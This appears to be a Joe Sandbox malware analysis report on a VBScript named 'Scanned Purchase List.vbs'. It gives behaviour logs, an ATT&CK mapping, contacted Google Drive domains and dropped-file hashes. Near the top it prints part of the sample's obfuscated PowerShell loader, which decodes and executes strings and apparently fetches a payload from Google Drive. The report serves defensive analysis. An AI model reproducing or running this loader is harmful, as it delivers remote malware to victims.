ud1ans2tra1fer.ri.0unl)les chag frestocne kundo ar/sor2mur0.au1lok0 f 0zef1pso0 do1 pr idfemiivenrtegemodf umocanx a/e.i1out2ung1mos. n0 a. ';$panservaaben=doublecrossing ' s udiss pae asr.lt- unap lgtapebjlnolet r ';$encheson=doublecrossing 'gyrh aatp ntpespknas ti:beh/ i/le d t.rfrai revfrieimp. s g inosl.omosg jal stehys.rencangomidmun,/ vupercwhe? kne ndx stp ero rrct tplu=pred h,ostiwpannsy,lim obriaessd il&kalif,ide f=h s1lano duqtyreb rlacc7oveu ,agsulopipyuncksids vapdecd ,ar npj gr9dis1 eng l wh mqst os,ri ifv t nlinnindrlinsjea6stipombvfur9 ti4bri ';$dioxid=doublecrossing ' s.>fib ';$boligydelsen=doublecrossing 's aistoeappxs m ';$manducation='springklaps';$drinksenes='\paralytical.nap';tramelling (doublecrossing 'otu$ar gstjl,hooef.bcl,acavlbev:gerc r o fiu rinepotsacecamrevaalnorbreggr u eelimsvis=egy$wooej.nn olvs l:medadmpptw.ppred aaasyrtmaravu.+ yk$ m dhipr elikilnpeakskasnonepitnphaetilsfur ');tramelling (doublecrossing ',or$sozg emld ro keba taunilpra:acrsi vtimpyg,ire otbindmanyrookfa ku cebutr ln=pol$ ateaman.ykcbilhindes.hskeeojobn pa.tyns ekpsy,lsleiab thav(bil$ svd.eyiungocruxpleidord to) sc ');tramelling (doublecrossing 'maw[difncamestrtter.kilsv,le sir mev faibescdaweferptheohypiundnso.tnskm s.a m ns,maspegsameridr k ] a: on:na.sdove apchabupa.r ,rijart apyskupst,ra coskata kof,lcan o nelnon n= nu kv[ ndnr aequatco . vaspite bacstousynra gisartlgtyoplpnerrtrao trtbndogluche ocyclalatr gyekspsa e d]avo:f r: phtnonlmarsp,e1s o2idi ');$encheson=$styrtdykker[0];$northwardly=(doublecrossing ' ou$soggs mlplaononbteraglal or:stelintis ogun h ktt p,a mtgforesl.6 ma8s,v=optnaare bawpar-theostabmiljifae hoc uvtnon earsf ryla.s.potfeeed lmhov.delnk ae untfor.ovewjonea,sboplcgell keiseneps nandt sp ');tramelling ($northwardly);tramelling (doublecrossing ' cr$dialre idkfgl phemutafkaridgenfefre6til8cir.marhovaepa asa.dvapestar sesfag[ un$conptoravo n d sbl econrp lv tuara ashob ade anncem].as= p$at s kao.ntrphotfikky pltrid k tmis ');$semicolloquially=doublecrossing ' f $.oalhlei n grovhreitmi as ng prebad6ur.8fum.strdtypo prwsydn rulozooau aferdan fbetib ml beemyo(pse$ oneoffn unc mohi			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	321 Scripting	Valid Accounts	1 Windows Management Instrumentation	321 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Scanned Purchase List.vbs	11%	ReversingLabs
Scanned Purchase List.vbs	13%	Virustotal		Browse

Source	Detection	Scanner	Link
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
drive.google.com	0%	Virustotal	Browse
drive.usercontent.google.com	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
http://drive.usercontent.google.com	1%	Virustotal		Browse
https://drive.google.com	0%	Virustotal		Browse
https://drive.usercontent.google.com	1%	Virustotal		Browse
http://www.microsoft.	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://drive.google.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
drive.google.com	142.250.184.238	true	false	0%, Virustotal, Browse	unknown
drive.usercontent.google.com	142.250.184.193	true	false	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	powershell.exe, 00000001.00000002.2992339914.000001ADD14E6000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://drive.googPBjN	powershell.exe, 00000001.00000002.2992339914.000001ADD181E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.3009017913.000001ADDF913000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.3009017913.000001ADDFA56000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://drive.usercontent.google.com	powershell.exe, 00000001.00000002.2992339914.000001ADD10D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD181E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD151F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD03BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0979000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD057A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D8D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFE8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD07A9000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.2992339914.000001ADCFAC6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.2992339914.000001ADCFAC6000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://drive.usercontent.google.com(	powershell.exe, 00000001.00000002.2992339914.000001ADD10D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD03BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0979000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD057A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D8D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD07A9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000001.00000002.3009017913.000001ADDFA56000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.3009017913.000001ADDF913000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.3009017913.000001ADDFA56000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.3009017913.000001ADDFA56000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.3009017913.000001ADDFA56000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.googP	powershell.exe, 00000001.00000002.2992339914.000001ADD1135000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com	powershell.exe, 00000001.00000002.2992339914.000001ADD057A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0FC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0F85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D8D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD1135000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFE7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFE8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0E2D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD07A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD08F9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://drive.usercontent.googh	powershell.exe, 00000001.00000002.2992339914.000001ADD150D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com	powershell.exe, 00000001.00000002.2992339914.000001ADD181E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFD99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD150D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFD32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFE8E000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://drive.usercontent.googhZ	powershell.exe, 00000001.00000002.2992339914.000001ADD181E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.microsoft.	powershell.exe, 00000001.00000002.3013440346.000001ADE7FC0000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://drive.google.com	powershell.exe, 00000001.00000002.2992339914.000001ADD0EC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD10D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD181E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD03BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0979000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD057A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0FC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD14E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0F85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D8D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFE7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFE8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0E2D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD07A9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.2992339914.000001ADCF8A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	powershell.exe, 00000001.00000002.2992339914.000001ADD14E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.2992339914.000001ADCF8A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.2992339914.000001ADCFAC6000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.142	unknown	United States	15169	GOOGLEUS	false
142.250.184.193	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
142.250.184.238	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523158
Start date and time:	2024-10-01 07:44:41 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Scanned Purchase List.vbs
Detection:	MAL
Classification:	mal92.expl.evad.winVBS@4/5@3/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 7 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 88.221.110.91, 2.16.100.168
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Execution Graph export aborted for target powershell.exe, PID 7444 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:45:35	API Interceptor	1x Sleep call for process: wscript.exe modified
01:45:38	API Interceptor	3796310x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	RFQ-00032035.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.214.172
	RFQ -SCHOTTEL Type SRP200.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.214.172
	https://www.afghanhayatrestaurant.com.au/	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://bestratedrobotvacuum.com/?bypass-cdn=1	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=rCxHFZLdZUGNvhn9cgWChLhuCDtpfZJDs2F6orjCzx1UQTZXSUlaNE5INzZVSkgxRlBKR1RMSTVRTi4u	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	https://wtm.ventes-privees-du-jour.com/r/eNplj92OmzAQRp+GvQwYbGNfRBVNwgblh61I0jQ3kTEmOAXsgoFNnr6utFppVcnSSOd845mZXApCiJCbs5xhHwkaMq/EwEMCc1wCRjGl3MOeC0iAXArdEmJaepgUhBKOwoJCQIUgBJU+CwoB3NCFrnK/DfPKGN07QeT4sX3TNM0q1TRCd3IUM64aC2Xb805qI1XrBLENL33iewR4nu/4eDDNtVdDx4UVk6htjxh1cf9QjSjk0FjFdf2BOGs0k7f2v7xomKwt7VQuOuNAz4hatMLMcmEtH3pjs921lF1vWtb8Gxi1rfwia/bpfibb7WqXWVvr66gtcfzgmiyvtrwUfJ4+1qCs1GnU/YrCyR4TK60aFU3idQ8ntNjW9+hZoTo/m7dl4PjfT7UZq27RguCy3hwOoZ/CanOkZnFKm8Oe4SnLJU5uXnywf50j/fb0ft/+8Et0eC2nJEu3krdIqEyy22bEjzBN90n9rLTMyO7Ml8kK3n+dH7dwWhNYgGP6owiHUdD7eRVnLOlHu8Lx/ZJ2uwc/BY8jgXGUDvsXJueAIgDJX8NYskg=	Get hash	malicious	Unknown	Browse	199.232.214.172
	Fiserv_SHIP_RangerForDigitalCheckTSSeries_CX30_4.9.4.0-2.2.2.8_RR_v2.2.2.1_NL.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://www.allegiantair.com/deals//smsgiveaway	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://servicesnaustraliagov.info/admin	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	Stealc	Browse	199.232.214.172

ASNs

⊘No context

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Recibo de transferencia#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.250.184.238 142.250.185.142 142.250.184.193
	mtgjyX9gHF.exe	Get hash	malicious	Quasar	Browse	142.250.184.238 142.250.185.142 142.250.184.193
	PO_9876563647-FLOWTRONIX (FT)UUE.exe	Get hash	malicious	AgentTesla	Browse	142.250.184.238 142.250.185.142 142.250.184.193
	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	142.250.184.238 142.250.185.142 142.250.184.193
	RFQ-00032035.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.184.238 142.250.185.142 142.250.184.193
	RFQ -SCHOTTEL Type SRP200.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.184.238 142.250.185.142 142.250.184.193
	Purchase Order 007823-PO# 005307.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.184.238 142.250.185.142 142.250.184.193
	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	142.250.184.238 142.250.185.142 142.250.184.193
	invoice.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.184.238 142.250.185.142 142.250.184.193
	file.exe	Get hash	malicious	Unknown	Browse	142.250.184.238 142.250.185.142 142.250.184.193

Process:	C:\Windows\System32\wscript.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.141785112603811
Encrypted:	false
SSDEEP:	6:kKQdF9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:EsDnLNkPlE99SNxAhUe/3
MD5:	DE520022F5CE2DED626359B1C18DE338
SHA1:	85E11D3FE503B149E9E95978C475601265B7DA72
SHA-256:	A64AFB6FCE240F40FA15582789F49CC1F73A02F3222241D01D2011A80D4AE1DE
SHA-512:	5C1C3BCEABC07661894F5003609B10E9BE3335B8A4D2773ABF420DA883C0C4FE5BA64EED89916F627152A62E8FF3095668A559D2D4D908820AE7E3CB4A8742C1
Malicious:	false
Reputation:	low
Preview:	p...... .........!1#....(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_00datdxo.taw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f3vuqqwq.ftk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
